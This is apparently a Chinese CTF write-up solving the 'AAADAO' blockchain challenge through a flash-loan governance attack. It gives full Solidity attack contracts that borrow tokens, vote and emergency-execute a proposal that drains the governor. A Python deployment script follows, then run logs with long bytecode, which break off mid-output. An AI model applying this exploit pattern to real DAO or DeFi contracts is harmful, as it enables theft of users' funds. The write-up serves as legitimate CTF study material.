[CallFunction][ReadOnly][0xeCa44e6C644b28F04e5EcbDa2f70BB79e2e3CdFb]
[Function]a()
[Result]0x465B9CbD329A516894E08B9e960Fa3f525B67acA
2022-06-25 13:32:49.955 | SUCCESS  | Poseidon_Blockchain:ReadOnlyCallFunction:341 - 
[CallFunction][ReadOnly][0x21ac0df70A628cdB042Dde6f4Eb6Cf49bDE00Ff7]
[Function]balances('0x465B9CbD329A516894E08B9e960Fa3f525B67acA',)
[Result]2010
ACTF{a_sTup1d_W3B_VUl_M4y_1e@D_7o_s3rIou$_w3b3_ImP4C7_666}
2022-06-25 13:33:20.058 | SUCCESS  | __main__:<module>:45 - Execution completed.

最终得到flag为:

ACTF{a_sTup1d_W3B_VUl_M4y_1e@D_7o_s3rIou$_w3b3_ImP4C7_666}

AAADAO

题目描述

6

题目附件

解题过程

这是一道借助闪电贷进行治理提案攻击的题目,这题的考察类型是比较新颖的,应该是首创了DAO方面的CTF赛题,并且具有很高的现实价值,近期频频发生的链上黑客事件也多与治理攻击有关。

解题条件是偷走治理合约中所有的AAA代币,合约文件较多,我们逐一分析。

首先是Deploy.sol

7

这个合约没啥特别信息,就是新建AAAGov这两个关键合约,并且指示最初铸出的AAA代币已经全部转移至Gov中。

接下来是Token.sol

8

  • 注意到导入了ERC20Votes.sol,后续要到这里面寻找一些用到的函数。
  • Gov目前账上有1亿AAA代币,这个信息是有用的,这表明我们后续闪电贷时不能借太多,否则会还不上。
  • 闪电贷手续费是借贷金额的百分之一
  • 闪电贷的调用者需要以IERC3156FlashBorrower类型传入,后续编写攻击合约时要注意。
  • 闪电贷的调用者需要实现onFlashLoan函数,并且返回_RETURN_VALUE,这是ERC3156闪电贷标准要求。
  • 闪电贷内还需要授权AAA合约转账amount+fee额度的AAA代币的权限。

然后是Gov.sol

9

  • 导入了四个治理相关的合约,后续要用到里面的一些函数
  • 指示了提案基准票数的百分比为百分之四
  • 指示了投票前应该通过delegate函数进行投票权委托
  • 指示了提案的开始时间为创建提案的后10个区块,我们必须等待提案开始才能进行投票(出块间隔大概是30秒,严厉谴责这太浪费时间了)
  • 指示了提案的持续时间46027个区块,由于持续时间过长,我们必须让提案在投票攻击后立即执行
  • 指示了发起提案的最低要求是持有0枚AAA代币,即任何人都可以发起提案

目前为止,与题目主体相关的合约代码已经分析完了,具体的攻击流程是:

  • 构造恶意提案合约,将Gov合约中的AAA代币全部转移至攻击合约
  • 构造攻击合约,用于创建提案,发起闪电贷,并在闪电贷中进行治理攻击,使得恶意提案被成功执行
  • 窃取到AAA代币后完成闪电贷流程,同时达成解出条件

以下是恶意提案合约Proposal.sol的代码:

pragma solidity ^0.8.2;

import "./Token.sol";

contract Proposal {
    address
        public constant TokenAddress = 0xCF33A10B840544Cf5eE8cE432eF116E10f80fBb8;
    address
        public constant GovernorAddress = 0x6beF3223f7e0a6282F1Dc1E483b533c9700A6d08;
    address public constant Hacker = 0x2F4d1AFe2E572Cbe2A372597e005aB0ce8f6c1B4;

    function executeProposal() public {
        AAA a = AAA(TokenAddress);
        a.transfer(Hacker, a.balanceOf(GovernorAddress));
    }
}

其中第10行处的Hacker地址需要在脚本执行的中途填入,因为要等待Hacker合约部署后才能得到地址(想提前计算也可以,用CREATE2,就是太麻烦了),由于是delegatecall,必须设为常量才能正常执行。executeProposal函数是之后执行提案时调用的,作用是将Gov合约中的AAA代币全部转移至Hacker合约账户。

以下是攻击合约Hacker.sol的代码:

pragma solidity ^0.8.2;

import "./Token.sol";
import "./Gov.sol";
import "./Proposal.sol";
import "./interfaces/IERC3156FlashBorrower.sol";

contract Hacker {
    address
        public constant TokenAddress = 0xCF33A10B840544Cf5eE8cE432eF116E10f80fBb8;
    address
        public constant GovernorAddress = 0x6beF3223f7e0a6282F1Dc1E483b533c9700A6d08;
    address public ProposalAddress;

    function init(address _ProposalAddress) public {
        ProposalAddress = _ProposalAddress;
        Governor g = Gov(payable(GovernorAddress));
        address[] memory ad = new address[](1);
        ad[0] = ProposalAddress;
        uint256[] memory ui = new uint256[](1);
        ui[0] = 0;
        bytes[] memory by = new bytes[](1);
        by[0] = abi.encodeWithSignature("executeProposal()");
        string memory st = "42";
        g.propose(ad, ui, by, st);
    }

    function Hack() public {
        AAA a = AAA(TokenAddress);
        a.flashLoan(
            IERC3156FlashBorrower(address(this)),
            TokenAddress,
            a.totalSupply() / 10,
            ""
        );
    }

    function onFlashLoan(
        address initiator,
        address token,
        uint256 amount,
        uint256 fee,
        bytes calldata data
    ) external returns (bytes32) {
        AAA a = AAA(TokenAddress);
        a.delegate(address(this));
        Governor g = Gov(payable(GovernorAddress));
        address[] memory ad = new address[](1);
        ad[0] = ProposalAddress;
        uint256[] memory ui = new uint256[](1);
        ui[0] = 0;
        bytes[] memory by = new bytes[](1);
        by[0] = abi.encodeWithSignature("executeProposal()");
        string memory st = "42";
        uint256 ProposalId = g.hashProposal(ad, ui, by, keccak256(bytes(st)));
        g.castVote(ProposalId, 1);
        g.emergencyExecuteRightNow(ad, ui, by, keccak256(bytes(st)));
        a.increaseAllowance(TokenAddress, amount + fee);
        return keccak256("ERC3156FlashBorrower.onFlashLoan");
    }
}

攻击合约由于执行的操作较多,所以也比较复杂,我们逐个函数分析。

10

首先是init函数,在这里创建提案,需要注意的是Governor.sol中实现的propose函数需要传入[]类型的变量,为了编译能顺利通过,需要使用上图所示方法进行构造,最后调用Govpropose即可创建提案,需要注意提案创建后需要等待10个区块后才能进行投票表决

  • ad恶意提案合约地址
  • uivalue值,由于用不上所以随意设为0
  • by要执行的函数的selector,用abi.encodeWithSignature可以轻松构造
  • st提案描述,由于用不上所以随意设为"42"

Governor.sol中的propose函数:

11

这部分需要了解一下proposalId的产生方式,后续要用相同的方法获得提案ID以便投票,还有就是提案时间的一些设置。

12

接下来是Hack函数,这是用于发起闪电贷的,作用是给我们的Hacker合约贷到a.totalSupply()/10(即目前AAA代币总量的百分之十)的代币用于后续投票,这个数值可以通过分析Governor.sol中的emergencyExecuteRightNow函数得到,如果我们想要立即执行提案,需要满足赞成票数大于提案开始那个时刻(此时闪电贷的代币还没有铸出)的AAA代币的总数的百分之八

Governor.sol中的emergencyExecuteRightNow函数:

13

需要注意的是这里要我们传的是descriptionHash了,调用的时候记得提前生成一下。紧急执行的条件是通过_quorumReachedEmergency_voteSucceededEmergency的判定,这两个函数在GovernorCountingSimple.sol中。

_quorumReachedEmergency如下:

14

百分之八这个比例的由来在这里。

_voteSucceededEmergency如下:

15

只要全投赞成票即可。

VoteType如下:

16

之后要转成uint8,那么For对应的就是1

Governor.sol中的_execute如下:

18

提案执行时使用的是delegatecall,这使得我们可以成功转移走Gov中的AAA代币,因为delegatecallcall主要的不同在于:delegatecall调用仅使用目标地址的代码,而上下文环境仍然是当前合约的(如:msg.sender等)。

最后是onFlashLoan

17

  • 通过a.delegate将我们的投票权赋予给自己,这步是必须的,否则后续投不上票
  • 以相同的方式生成ProposalId
  • 通过g.castVote为提案投赞成票,以便能够紧急执行
  • 通过g.emergencyExecuteRightNow立即执行提案,窃取Gov合约中的全部AAA代币
  • 通过a.increaseAllowance授权AAA合约转移我们的AAA代币以便归还闪电贷
  • 最后还要按照ERC3156标准返回指定内容

ERC20Votes.sol中的delegate如下:

19

20

这样授权投票权重为我们账户拥有的代币总量。

Governor.sol中的castVote的最终形式如下:

21

攻击原理以及流程大致分析完毕,下面是链上交互的脚本:

from Poseidon_Blockchain import *
from loguru import logger
import requests
import time

'''token
解题时
0xabba2661d25F72fB2B87e383FE216362d803BA7A
v4.local.1fU8otYvSe9PWo6amQxNaeybNfIKcOUkRV8a3K5HecoaUg3Qyrrx7mPH8Bq4J0wOv55MaLCKeNsVBgKbbRJ6TL13kRu5L5CT8yfHiBHiCpdign-fOD3Cws-OeOsaoJ95K4mgUzQ-ojHabzk1Ds-B9TtL5fKESmfVbqJbHcaOJPBk7w
[+] deploy transaction hash: 0x02a43ffb6cc12d5adc614ea7d43bf22b2c52748b0355763a6f22214bcdea5406
[+] AAA token address: 0x9587471AFf4a1b7941d19Bfdc46851704DA82cF1
[+] GOV contract address: 0x001C4A561eC1B4a108F467bFDE754df03e3B2be3
[+] new token: v4.local.uZR08ibb1e34_2rRTD6eybXnEG81GiBrEHaBsIqJ4P4Eus_F16LfUj0bONfkg4b4SRSqems7B7IpcQ6iPItgkWLwc-YQA_sOKyH6FEw8uCdo4ftBZAAcnx8rlQ20AE86Co9kurEAcyw1ulQu0nAT9aKDiCkhO7rSZc8gft8NIgdzaw

复现时
0xCE4Be67cC101DB9C4863E482AC9b30FD69037302
v4.local.tjqEvwQmsYZS_bSDWoUiyjjCwzPQbNDps-_PvWd-pEc9u5U_3fyTN83rIuhNfpO8aPxh6i_Uq0KNwUHXcBQ6iyn2kP0tIeVYa-XUFa9rO_UDxlpYSLSVuhk6aEJxVwaLgHMkLhqqRD2jmzoSJ5tWAjSjjAa6Q0TCMauBmxqA13xgtA
[+] deploy transaction hash: 0xa95af90d6727f39783904cb562dcd7625ab736fd18ee02364e5e7c351727759e
[+] AAA token address: 0xCF33A10B840544Cf5eE8cE432eF116E10f80fBb8
[+] GOV contract address: 0x6beF3223f7e0a6282F1Dc1E483b533c9700A6d08
[+] new token: v4.local.EBFZbouXcBh9KLi5fbptQkF9gyX2-gd7s563GlRxPTZb7B5MaKT2ohuCcrw8eU6S4pkhgAX74u-lOTCxmDceuCFUkwZ4vtTlY_fu8bXip0n_0NH8R-t5HnZDAKJnZmnDmzMd0a8alA0LmABAjB7SqCzIAx9F1BKd3xtZ1_gY-Htnkg
'''

# 日志
logger.add('AAADAO_{time}.log')

# 配置Solidity版本
Utils.SwitchSolidityVersion("0.8.4")

# 连接至链
chain = Chain("http://123.60.90.204:8545/")

# 使用私钥导入账户(私钥使用工具随机生成)
account = Account(chain, "<Private Key>")

# 领取测试币
faucetHash = requests.post("http://123.60.90.204:8090/api/claim", data={"address": account.Address}).text.replace("Txhash: ", "")
chain.Net.eth.wait_for_transaction_receipt(faucetHash, timeout=180)
account.GetSelfBalance()

# 编译攻击合约
abi, bytecode = Utils.CompileSolidityToABIAndBytecode("Hacker.sol", "Hacker", "D:\\TheDeepSea\\Sea\\Blockchain\\AAADAO")

# 部署攻击合约
hackerAddress, hacker = account.DeployContract(abi, bytecode)

# 此时将Hacker合约的地址手动填入Proposal合约中,然后回车继续执行
input("等待继续执行指令...")

# 部署提案合约
abi, bytecode = Utils.CompileSolidityToABIAndBytecode("Proposal.sol", "Proposal", "D:\\TheDeepSea\\Sea\\Blockchain\\AAADAO")
proposalAddress, proposal = account.DeployContract(abi, bytecode)

# 攻击合约初始化
hacker.CallFunction("init", proposalAddress)

logger.warning("等待10个区块...")
time.sleep(30 * 10)

# 开始提案攻击
hacker.CallFunction("Hack")

logger.success("Execution completed.")

运行日志如下:

2022-06-26 23:59:39.175 | SUCCESS  | Poseidon_Blockchain:SwitchSolidityVersion:383 - 
[SwitchSolidityVersion]Current Version:0.8.4
2022-06-26 23:59:39.255 | SUCCESS  | Poseidon_Blockchain:__init__:17 - 
[ConnectToChain]Successfully connected to [http://123.60.90.204:8545/].
2022-06-26 23:59:39.387 | ERROR    | Poseidon_Blockchain:GetBasicInformation:36 - 
[BasicInformation]Failed to get basic information.
[ExceptionInformation](<class 'requests.exceptions.HTTPError'>, HTTPError('401 Client Error: Unauthorized for url: http://123.60.90.204:8545/'), <traceback object at 0x000001F4948F1F88>)
2022-06-26 23:59:39.546 | ERROR    | Poseidon_Blockchain:GetBlockInformation:53 - 
[BlockInformation]Failed to get block [latest] information.
[ExceptionInformation](<class 'requests.exceptions.HTTPError'>, HTTPError('401 Client Error: Unauthorized for url: http://123.60.90.204:8545/'), <traceback object at 0x000001F4948FF6C8>)
2022-06-26 23:59:39.566 | SUCCESS  | Poseidon_Blockchain:__init__:167 - 
[ImportAccount]Successfully import account [0x4A436F11b0E3933194d3c1e41457eb34e482F819].
2022-06-26 23:59:39.604 | SUCCESS  | Poseidon_Blockchain:GetBalance:119 - 
[GetBalance][0x4A436F11b0E3933194d3c1e41457eb34e482F819]
[1951348490000000000 Wei]<=>[1.95134849 Ether]
2022-06-26 23:59:40.796 | SUCCESS  | Poseidon_Blockchain:CompileSolidityToABIAndBytecode:411 - 
[CompileContract]Success.
[FileCourse]Hacker.sol
[ContractName]Hacker
[ABI][{'inputs': [], 'name': 'GovernorAddress', 'outputs': [{'internalType': 'address', 'name': '', 'type': 'address'}], 'stateMutability': 'view', 'type': 'function'}, {'inputs': [], 'name': 'Hack', 'outputs': [], 'stateMutability': 'nonpayable', 'type': 'function'}, {'inputs': [], 'name': 'ProposalAddress', 'outputs': [{'internalType': 'address', 'name': '', 'type': 'address'}], 'stateMutability': 'view', 'type': 'function'}, {'inputs': [], 'name': 'TokenAddress', 'outputs': [{'internalType': 'address', 'name': '', 'type': 'address'}], 'stateMutability': 'view', 'type': 'function'}, {'inputs': [{'internalType': 'address', 'name': '_ProposalAddress', 'type': 'address'}], 'name': 'init', 'outputs': [], 'stateMutability': 'nonpayable', 'type': 'function'}, {'inputs': [{'internalType': 'address', 'name': 'initiator', 'type': 'address'}, {'internalType': 'address', 'name': 'token', 'type': 'address'}, {'internalType': 'uint256', 'name': 'amount', 'type': 'uint256'}, {'internalType': 'uint256', 'name': 'fee', 'type': 'uint256'}, {'internalType': 'bytes', 'name': 'data', 'type': 'bytes'}], 'name': 'onFlashLoan', 'outputs': [{'internalType': 'bytes32', 'name': '', 'type': 'bytes32'}], 'stateMutability': 'nonpayable', 'type': 'function'}]
[Bytecode]608060405234801561001057600080fd5b50611643806100206000396000f3fe608060405234801561001057600080fd5b50600436106100625760003560e01c806319ab453c1461006757806323e30c8b146100835780637dd2b195146100b3578063983e1318146100d1578063a97747da146100db578063c2cba306146100f9575b600080fd5b610081600480360381019061007c9190610e06565b610117565b005b61009d60048036038101906100989190610e2f565b61054a565b6040516100aa9190611285565b60405180910390f35b6100bb610bcb565b6040516100c89190611186565b60405180910390f35b6100d9610be3565b005b6100e3610d2c565b6040516100f09190611186565b60405180910390f35b610101610d50565b60405161010e9190611186565b60405180910390f35b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000736bef3223f7e0a6282f1dc1e483b533c9700a6d0890506000600167ffffffffffffffff8111156101b3577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156101e15781602001602082028036833780820191505090505b50905060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff168160008151811061023f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000600167ffffffffffffffff8111156102bc577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156102ea5781602001602082028036833780820191505090505b509050600081600081518110610329577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010181815250506000600167ffffffffffffffff811115610378577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156103ab57816020015b60608152602001906001900390816103965790505b5090506040516024016040516020818303038152906040527f373058b8000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050508160008151811061046b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001018190525060006040518060400160405280600281526020017f343200000000000000000000000000000000000000000000000000000000000081525090508473ffffffffffffffffffffffffffffffffffffffff16637d5e81e2858585856040518563ffffffff1660e01b81526004016104ef9493929190611224565b602060405180830381600087803b15801561050957600080fd5b505af115801561051d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105419190610eea565b50505050505050565b60008073cf33a10b840544cf5ee8ce432ef116e10f80fbb890508073ffffffffffffffffffffffffffffffffffffffff16635c19a95c306040518263ffffffff1660e01b815260040161059d9190611186565b600060405180830381600087803b1580156105b757600080fd5b505af11580156105cb573d6000803e3d6000fd5b505050506000736bef3223f7e0a6282f1dc1e483b533c9700a6d0890506000600167ffffffffffffffff81111561062b577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156106595781602001602082028036833780820191505090505b50905060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16816000815181106106b7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000600167ffffffffffffffff811115610734577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156107625781602001602082028036833780820191505090505b5090506000816000815181106107a1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010181815250506000600167ffffffffffffffff8111156107f0577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405190808252806020026020018201604052801561082357816020015b606081526020019060019003908161080e5790505b5090506040516024016040516020818303038152906040527f373058b8000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050816000815181106108e3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001018190525060006040518060400160405280600281526020017f3432000000000000000000000000000000000000000000000000000000000000815250905060008573ffffffffffffffffffffffffffffffffffffffff1663c59057e486868686805190602001206040518563ffffffff1660e01b815260040161097094939291906111ca565b60206040518083038186803b15801561098857600080fd5b505afa15801561099c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109c09190610eea565b90508573ffffffffffffffffffffffffffffffffffffffff1663567813888260016040518363ffffffff1660e01b81526004016109fe9291906112ea565b602060405180830381600087803b158015610a1857600080fd5b505af1158015610a2c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a509190610eea565b508573ffffffffffffffffffffffffffffffffffffffff16632c3a431486868686805190602001206040518563ffffffff1660e01b8152600401610a9794939291906111ca565b602060405180830381600087803b158015610ab157600080fd5b505af1158015610ac5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ae99190610eea565b508673ffffffffffffffffffffffffffffffffffffffff16633950935173cf33a10b840544cf5ee8ce432ef116e10f80fbb88d8f610b279190611407565b6040518363ffffffff1660e01b8152600401610b449291906111a1565b602060405180830381600087803b158015610b5e57600080fd5b505af1158015610b72573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b969190610ec1565b507f439148f0bbc682ca079e46d6e2c2f0c1e3b820f1a291b069d8882abf8cf18dd99750505050505050509695505050505050565b736bef3223f7e0a6282f1dc1e483b533c9700a6d0881565b600073cf33a10b840544cf5ee8ce432ef116e10f80fbb890508073ffffffffffffffffffffffffffffffffffffffff16635cffe9de3073cf33a10b840544cf5ee8ce432ef116e10f80fbb8600a8573ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015610c7657600080fd5b505afa158015610c8a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cae9190610eea565b610cb8919061145d565b6040518463ffffffff1660e01b8152600401610cd6939291906112a0565b602060405180830381600087803b158015610cf057600080fd5b505af1158015610d04573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d289190610ec1565b5050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b73cf33a10b840544cf5ee8ce432ef116e10f80fbb881565b600081359050610d77816115c8565b92915050565b600081519050610d8c816115df565b92915050565b60008083601f840112610da457600080fd5b8235905067ffffffffffffffff811115610dbd57600080fd5b602083019150836001820283011115610dd557600080fd5b9250929050565b600081359050610deb816115f6565b92915050565b600081519050610e00816115f6565b92915050565b600060208284031215610e1857600080fd5b6000610e2684828501610d68565b91505092915050565b60008060008060008060a08789031215610e4857600080fd5b6000610e5689828a01610d68565b9650506020610e6789828a01610d68565b9550506040610e7889828a01610ddc565b9450506060610e8989828a01610ddc565b935050608087013567ffffffffffffffff811115610ea657600080fd5b610eb289828a01610d92565b92509250509295509295509295565b600060208284031215610ed357600080fd5b6000610ee184828501610d7d565b91505092915050565b600060208284031215610efc57600080fd5b6000610f0a84828501610df1565b91505092915050565b6000610f1f8383610f57565b60208301905092915050565b6000610f3783836110b5565b905092915050565b6000610f4b8383611168565b60208301905092915050565b610f608161148e565b82525050565b610f6f8161148e565b82525050565b6000610f8082611343565b610f8a81856113a1565b9350610f9583611313565b8060005b83811015610fc6578151610fad8882610f13565b9750610fb88361137a565b925050600181019050610f99565b5085935050505092915050565b6000610fde8261134e565b610fe881856113b2565b935083602082028501610ffa85611323565b8060005b8581101561103657848403895281516110178582610f2b565b945061102283611387565b925060208a01995050600181019050610ffe565b50829750879550505050505092915050565b600061105382611359565b61105d81856113c3565b935061106883611333565b8060005b838110156110995781516110808882610f3f565b975061108b83611394565b92505060018101905061106c565b5085935050505092915050565b6110af816114ac565b82525050565b60006110c082611364565b6110ca81856113d4565b93506110da818560208601611523565b6110e3816115b4565b840191505092915050565b6110f7816114ed565b82525050565b61110681611511565b82525050565b60006111178261136f565b61112181856113f6565b9350611131818560208601611523565b61113a816115b4565b840191505092915050565b60006111526000836113e5565b915061115d826115c5565b600082019050919050565b611171816114d6565b82525050565b611180816114d6565b82525050565b600060208201905061119b6000830184610f66565b92915050565b60006040820190506111b66000830185610f66565b6111c36020830184611177565b9392505050565b600060808201905081810360008301526111e48187610f75565b905081810360208301526111f88186611048565b9050818103604083015261120c8185610fd3565b905061121b60608301846110a6565b95945050505050565b6000608082019050818103600083015261123e8187610f75565b905081810360208301526112528186611048565b905081810360408301526112668185610fd3565b9050818103606083015261127a818461110c565b905095945050505050565b600060208201905061129a60008301846110a6565b92915050565b60006080820190506112b560008301866110ee565b6112c26020830185610f66565b6112cf6040830184611177565b81810360608301526112e081611145565b9050949350505050565b60006040820190506112ff6000830185611177565b61130c60208301846110fd565b9392505050565b6000819050602082019050919050565b6000819050602082019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b6000602082019050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b6000611412826114d6565b915061141d836114d6565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561145257611451611556565b5b828201905092915050565b6000611468826114d6565b9150611473836114d6565b92508261148357611482611585565b5b828204905092915050565b6000611499826114b6565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006114f8826114ff565b9050919050565b600061150a826114b6565b9050919050565b600061151c826114e0565b9050919050565b60005b83811015611541578082015181840152602081019050611526565b83811115611550576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b50565b6115d18161148e565b81146115dc57600080fd5b50565b6115e8816114a0565b81146115f357600080fd5b50565b6115ff816114d6565b811461160a57600080fd5b5056fea2646970667358221220bc0fc24212525737cb617bd0d0c402695bb0e1fafeb1778287e0877f3908e02164736f6c63430008040033
2022-06-26 23:59:41.075 | INFO     | Poseidon_Blockchain:DeployContract:258 - 
[DeployContract][Traditional]
[TransactionHash]0x29e6f69ec85443b9b70bdb5a070990ea725299c11a8b2a16bc6f58de4868f8dd
[Txn]{'from': '0x4A436F11b0E3933194d3c1e41457eb34e482F819', 'nonce': 37, 'value': 0, 'data': '0x608060405234801561001057600080fd5b50611643806100206000396000f3fe608060405234801561001057600080fd5b50600436106100625760003560e01c806319ab453c1461006757806323e30c8b146100835780637dd2b195146100b3578063983e1318146100d1578063a97747da146100db578063c2cba306146100f9575b600080fd5b610081600480360381019061007c9190610e06565b610117565b005b61009d60048036038101906100989190610e2f565b61054a565b6040516100aa9190611285565b60405180910390f35b6100bb610bcb565b6040516100c89190611186565b60405180910390f35b6100d9610be3565b005b6100e3610d2c565b6040516100f09190611186565b60405180910390f35b610101610d50565b60405161010e9190611186565b60405180910390f35b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000736bef3223f7e0a6282f1dc1e483b533c9700a6d0890506000600167ffffffffffffffff8111156101b3577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156101e15781602001602082028036833780820191505090505b50905060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff168160008151811061023f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000600167ffffffffffffffff8111156102bc577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156102ea5781602001602082028036833780820191505090505b509050600081600081518110610329577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010181815250506000600167ffffffffffffffff811115610378577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156103ab57816020015b60608152602001906001900390816103965790505b5090506040516024016040516020818303038152906040527f373058b8000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050508160008151811061046b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001018190525060006040518060400160405280600281526020017f343200000000000000000000000000000000000000000000000000000000000081525090508473ffffffffffffffffffffffffffffffffffffffff16637d5e81e2858585856040518563ffffffff1660e01b81526004016104ef9493929190611224565b602060405180830381600087803b15801561050957600080fd5b505af115801561051d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105419190610eea565b50505050505050565b60008073cf33a10b840544cf5ee8ce432ef116e10f80fbb890508073ffffffffffffffffffffffffffffffffffffffff16635c19a95c306040518263ffffffff1660e01b815260040161059d9190611186565b600060405180830381600087803b1580156105b757600080fd5b505af11580156105cb573d6000803e3d6000fd5b505050506000736bef3223f7e0a6282f1dc1e483b533c9700a6d0890506000600167ffffffffffffffff81111561062b577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156106595781602001602082028036833780820191505090505b50905060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16816000815181106106b7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000600167ffffffffffffffff811115610734577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156107625781602001602082028036833780820191505090505b5090506000816000815181106107a1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010181815250506000600167ffffffffffffffff8111156107f0577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405190808252806020026020018201604052801561082357816020015b606081526020019060019003908161080e5790505b5090506040516024016040516020818303038152906040527f373058b8000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050816000815181106108e3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001018190525060006040518060400160405280600281526020017f3432000000000000000000000000000000000000000000000000000000000000815250905060008573ffffffffffffffffffffffffffffffffffffffff1663c59057e486868686805190602001206040518563ffffffff1660e01b815260040161097094939291906111ca565b60206040518083038186803b15801561098857600080fd5b505afa15801561099c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109c09190610eea565b90508573ffffffffffffffffffffffffffffffffffffffff1663567813888260016040518363ffffffff1660e01b81526004016109fe9291906112ea565b602060405180830381600087803b158015610a1857600080fd5b505af1158015610a2c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a509190610eea565b508573ffffffffffffffffffffffffffffffffffffffff16632c3a431486868686805190602001206040518563ffffffff1660e01b8152600401610a9794939291906111ca565b602060405180830381600087803b158015610ab157600080fd5b505af1158015610ac5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ae99190610eea565b508673ffffffffffffffffffffffffffffffffffffffff16633950935173cf33a10b840544cf5ee8ce432ef116e10f80fbb88d8f610b279190611407565b6040518363ffffffff1660e01b8152600401610b449291906111a1565b602060405180830381600087803b158015610b5e57600080fd5b505af1158015610b72573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b969190610ec1565b507f439148f0bbc682ca079e46d6e2c2f0c1e3b820f1a291b069d8882abf8cf18dd99750505050505050509695505050505050565b736bef3223f7e0a6282f1dc1e483b533c9700a6d0881565b600073cf33a10b840544cf5ee8ce432ef116e10f80fbb890508073ffffffffffffffffffffffffffffffffffffffff16635cffe9de3073cf33a10b840544cf5ee8ce432ef116e10f80fbb8600a8573ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015610c7657600080fd5b505afa158015610c8a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cae9190610eea565b610cb8919061145d565b6040518463ffffffff1660e01b8152600401610cd6939291906112a0565b602060405180830381600087803b158015610cf057600080fd5b505af1158015610d04573d6000803e3d6000fd5b505050506040513d601